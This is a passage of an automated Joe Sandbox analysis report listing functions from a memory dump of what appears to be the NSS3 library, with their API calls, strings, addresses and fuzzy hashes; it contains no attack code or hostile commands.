Instruction Fuzzy Hash: 7A9113B5A082019FEB01DF6AD880BAAB7B5FF44309F158068DD199BF41F731E905DBA1

Function 6CBD5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CCBBB62,00000004,6CD24CA4,?,?,00000000,?,?,6CB931DB), ref: 6CBD60AB
sqlite3_config.NSS3(00000004,6CD24CA4,6CCBBB62,00000004,6CD24CA4,?,?,00000000,?,?,6CB931DB), ref: 6CBD60EB
sqlite3_config.NSS3(00000012,6CD24CC4,?,?,6CCBBB62,00000004,6CD24CA4,?,?,00000000,?,?,6CB931DB), ref: 6CBD6122

Strings

misuse, xrefs: 6CBD609F
%s at line %d of [%.10s], xrefs: 6CBD60A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBD6095

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 7da5c1b63a4c69f9d90516b7814416916a74e6b82b4ef67c94afc7544f3e5706
Instruction ID: 329bf330c81fe9ba92611b94c816ed251b751a076c96f2d207c82e1c629ac3c3
Opcode Fuzzy Hash: 7da5c1b63a4c69f9d90516b7814416916a74e6b82b4ef67c94afc7544f3e5706
Instruction Fuzzy Hash: D1B19574E0464ACFDB08CF6CC2809A9B7F4FF1E304B458559D609AB762E734BA84CB95

Function 6CC7DE70 Relevance: 10.7, APIs: 7, Instructions: 224COMMON

Download Yara Rule

APIs

SECITEM_CompareItem_Util.NSS3(FFFFD064,?), ref: 6CC7DFB9
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CC7E029

Part of subcall function 6CC58970: TlsGetValue.KERNEL32(?,00000000,6CC061C4,?,6CC05639,00000000), ref: 6CC58991
Part of subcall function 6CC58970: TlsGetValue.KERNEL32(?,?,?,?,?,6CC05639,00000000), ref: 6CC589AD
Part of subcall function 6CC58970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CC05639,00000000), ref: 6CC589C6
Part of subcall function 6CC58970: PR_WaitCondVar.NSS3 ref: 6CC589F7
Part of subcall function 6CC58970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CC05639,00000000), ref: 6CC58A0C

PR_SetError.NSS3(FFFFD06A,00000000), ref: 6CC7E072
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC7E098
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC7E0A7
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC7E0F1
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC7E10A

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Item_Util$CompareCopyValueZfree$CondCriticalEnterErrorSectionUnlockWait
String ID:
API String ID: 1854523011-0
Opcode ID: ee86cb578ae21590255b85b187365af66c1e04edabf5593676984f67c1435b4b
Instruction ID: 1d2ad03eaf53fb1c1a7a781071f3e0a59c6ddfa4da05db7a61b8a4a3c2c1c666
Opcode Fuzzy Hash: ee86cb578ae21590255b85b187365af66c1e04edabf5593676984f67c1435b4b
Instruction Fuzzy Hash: 39812376A05611AFE7208B24DC45BDAB7A4FF00318F444229ED1993B91F731B979CBE2

Function 6CB84F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB84FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB851BB

Strings

misuse, xrefs: 6CB851AF
%s at line %d of [%.10s], xrefs: 6CB851B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB851A5
unable to delete/modify user-function due to active statements, xrefs: 6CB851DF

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 2ba2ec2b7433337089744fd9ae44af851911f813ff53587cde6cff4f84c97a03
Instruction ID: 875e8cafdfa11d352c6d40692f69e6ef18f3a626c4a31e0b18722880e9442fd5
Opcode Fuzzy Hash: 2ba2ec2b7433337089744fd9ae44af851911f813ff53587cde6cff4f84c97a03
Instruction Fuzzy Hash: A971AE75A0524A9FEF01CF55CC80B9A77B9FF48308F044528FD1A9BA81D731E858CBA2

Function 6CBF2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CBF2D69

Strings

winUnmapfile2, xrefs: 6CBF2F7F
winUnmapfile1, xrefs: 6CBF2F55
winTruncate1, xrefs: 6CBF2EBE
winSeekFile, xrefs: 6CBF2E9C
winTruncate2, xrefs: 6CBF2EF8

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 6d24e8c08f714827e82970ebf3798da0a51952c7c2172aa55a3de880446886d5
Instruction ID: 9e8443dddfdae9017e4e77648f049a1c24db792a125c826c356e438938d74e96
Opcode Fuzzy Hash: 6d24e8c08f714827e82970ebf3798da0a51952c7c2172aa55a3de880446886d5
Instruction Fuzzy Hash: 6C61C475B002549FEB04CF68DC94A6A77B5FF49354F20852CEA199B790DB31AC0ACB92

Function 6CC6FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CC6F165,?), ref: 6CC6FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CC6F165,?), ref: 6CC6FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CC6F165,?), ref: 6CC6FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CC6F165,?), ref: 6CC6FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CC6F165,?), ref: 6CC6FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CC6F165,6CD3219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC6FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CC6F165,?), ref: 6CC700A6

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 6e4c2c5ff73a7f7e524d246cebb610c212f02500e2cfa81365025877516ea1bc
Instruction ID: b97ca17e6a9bbc8db76bef22107b6a6ca6ecf3b977ddb20e8bd0ed6fb7d0e07b
Opcode Fuzzy Hash: 6e4c2c5ff73a7f7e524d246cebb610c212f02500e2cfa81365025877516ea1bc
Instruction Fuzzy Hash: 6351F471E046559FDB208F59C8C47AEB7B5FB49328F240129DC55A7B40E732AC02CBE1

Function 6CC2DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC2DF37
EnterCriticalSection.KERNEL32(?), ref: 6CC2DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CC2E02B
PR_Unlock.NSS3(?), ref: 6CC2E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC2E090
PR_Unlock.NSS3(?), ref: 6CC2E0AF

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: b92ec3e11de05bab4f46caa4d5cb7a9d6edcd5bbd073dd11d974d7dc53a8327b
Instruction ID: 05cec68be4d8e57037dee61f3353be058f501be587adb54a89464615d1196c27
Opcode Fuzzy Hash: b92ec3e11de05bab4f46caa4d5cb7a9d6edcd5bbd073dd11d974d7dc53a8327b
Instruction Fuzzy Hash: 6251D2315006008FEB209F26D844B66B3B5FF44309F20452DE95A57B91F739E84ACB92

Function 6CC2BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CC2BD1E

Part of subcall function 6CC02F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CC02F0A
Part of subcall function 6CC02F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC02F1D

Part of subcall function 6CC457D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CC0B41E,00000000,00000000,?,00000000,?,6CC0B41E,00000000,00000000,00000001,?), ref: 6CC457E0
Part of subcall function 6CC457D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CC45843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC2BD8C

Part of subcall function 6CC5FAB0: free.MOZGLUE(?,-00000001,?,?,6CBFF673,00000000,00000000), ref: 6CC5FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CC2BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CC2BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC2BE3A

Part of subcall function 6CC03E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC03EC2
Part of subcall function 6CC03E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC03ED6
Part of subcall function 6CC03E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC03EEE
Part of subcall function 6CC03E60: PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC03F02
Part of subcall function 6CC03E60: PL_FreeArenaPool.NSS3 ref: 6CC03F14
Part of subcall function 6CC03E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC03F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC2BE52

Part of subcall function 6CC02E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CC02CDA,?,00000000), ref: 6CC02E1E
Part of subcall function 6CC02E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CC02E33
Part of subcall function 6CC02E00: TlsGetValue.KERNEL32 ref: 6CC02E4E
Part of subcall function 6CC02E00: EnterCriticalSection.KERNEL32(?), ref: 6CC02E5E
Part of subcall function 6CC02E00: PL_HashTableLookup.NSS3(?), ref: 6CC02E71
Part of subcall function 6CC02E00: PL_HashTableRemove.NSS3(?), ref: 6CC02E84
Part of subcall function 6CC02E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CC02E96
Part of subcall function 6CC02E00: PR_Unlock.NSS3 ref: 6CC02EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC2BE61

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 507b72d20d092392c522c979a6c3f423d72bb7a98c52bb3b81b89204f85e1cfb
Instruction ID: 843f38716ecd16bb94e4de550e07ae16555c2a75b2eeeda61bdb250e8ea63b5e
Opcode Fuzzy Hash: 507b72d20d092392c522c979a6c3f423d72bb7a98c52bb3b81b89204f85e1cfb
Instruction Fuzzy Hash: AB41D2B6A00610AFD710DF28DC80FAA77E8EB45718F148168F95997711F735ED18CBA2

Function 6CC4AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CC4AB3E,?,?,?), ref: 6CC4AC35

Part of subcall function 6CC2CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC2CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CC4AB3E,?,?,?), ref: 6CC4AC55

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CC4AB3E,?,?), ref: 6CC4AC70

Part of subcall function 6CC2E300: TlsGetValue.KERNEL32 ref: 6CC2E33C
Part of subcall function 6CC2E300: EnterCriticalSection.KERNEL32(?), ref: 6CC2E350
Part of subcall function 6CC2E300: PR_Unlock.NSS3(?), ref: 6CC2E5BC
Part of subcall function 6CC2E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CC2E5CA
Part of subcall function 6CC2E300: TlsGetValue.KERNEL32 ref: 6CC2E5F2
Part of subcall function 6CC2E300: EnterCriticalSection.KERNEL32(?), ref: 6CC2E606
Part of subcall function 6CC2E300: PORT_Alloc_Util.NSS3(?), ref: 6CC2E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CC4AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC4AB3E), ref: 6CC4ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CC4AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CC4AD2B

Part of subcall function 6CC2F360: TlsGetValue.KERNEL32(00000000,?,6CC4A904,?), ref: 6CC2F38B
Part of subcall function 6CC2F360: EnterCriticalSection.KERNEL32(?,?,?,6CC4A904,?), ref: 6CC2F3A0
Part of subcall function 6CC2F360: PR_Unlock.NSS3(?,?,?,?,6CC4A904,?), ref: 6CC2F3D3

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 28d74c5379f4d1de39a8b46bc87c096425f9434e12906ef90518f78d29b5ef5b
Instruction ID: 275818b0cbbdcb9cb230498e7e48be835c91645ceb7f6fd3a5956c2e892d0125
Opcode Fuzzy Hash: 28d74c5379f4d1de39a8b46bc87c096425f9434e12906ef90518f78d29b5ef5b
Instruction Fuzzy Hash: FB31F5B1E006155FEB049F69DC409AF77B6AFC4728B19C138E8199BB40FB32DD1687A1

Function 6CC28C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CC28C7C

Part of subcall function 6CCC9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DC6
Part of subcall function 6CCC9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DD1
Part of subcall function 6CCC9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCC9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC28CB0
TlsGetValue.KERNEL32 ref: 6CC28CD1
EnterCriticalSection.KERNEL32(?), ref: 6CC28CE5
PR_Unlock.NSS3(?), ref: 6CC28D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CC28D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC28D93

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: aa43b62e971c5d5b0e605d7ddc2d2479892e01389bfdb5600d090fc8aca9b438
Instruction ID: d5cbb8a35eb5c091253a0ee185ba9922596f75f5fd8f91af263a1057c06ebfb6
Opcode Fuzzy Hash: aa43b62e971c5d5b0e605d7ddc2d2479892e01389bfdb5600d090fc8aca9b438
Instruction Fuzzy Hash: 78316A72E00206AFEB009F69DC44BEAB774BF55318F140136EA1967B90F774A958C7D1

Function 6CC69D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CC69C5B), ref: 6CC69D82

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CC69C5B), ref: 6CC69DA9

Part of subcall function 6CC61340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC6136A
Part of subcall function 6CC61340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC6137E
Part of subcall function 6CC61340: PL_ArenaGrow.NSS3(?,6CBFF599,?,00000000,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?), ref: 6CC613CF
Part of subcall function 6CC61340: PR_Unlock.NSS3(?,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC6145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CC69C5B), ref: 6CC69DCE

Part of subcall function 6CC61340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC613F0
Part of subcall function 6CC61340: PL_ArenaGrow.NSS3(?,6CBFF599,?,?,?,00000000,00000000,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CC61445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CC69C5B), ref: 6CC69DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CC69C5B), ref: 6CC69DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CC69C5B), ref: 6CC69E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CC69C5B), ref: 6CC69E91

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

Part of subcall function 6CC61560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CC5FAAB,00000000), ref: 6CC6157E
Part of subcall function 6CC61560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CC5FAAB,00000000), ref: 6CC61592
Part of subcall function 6CC61560: memset.VCRUNTIME140(?,00000000,?), ref: 6CC61600
Part of subcall function 6CC61560: PL_ArenaRelease.NSS3(?,?), ref: 6CC61620
Part of subcall function 6CC61560: PR_Unlock.NSS3(?), ref: 6CC61639

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 2145ecb99bba0cb0aa30c2ef960bb21c08c59f7af7cb82fcd08fa09edb8d265d
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: F74186B4501606AFE740DF1ADA80B92B7A5FF45358F548128D8158BFA1FB72E834CF90

Function 6CC2DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CC2DDEC

Part of subcall function 6CC60840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC608B4

PK11_DigestBegin.NSS3(00000000), ref: 6CC2DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CC2DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CC2DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CC2DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC2DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2DECC

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

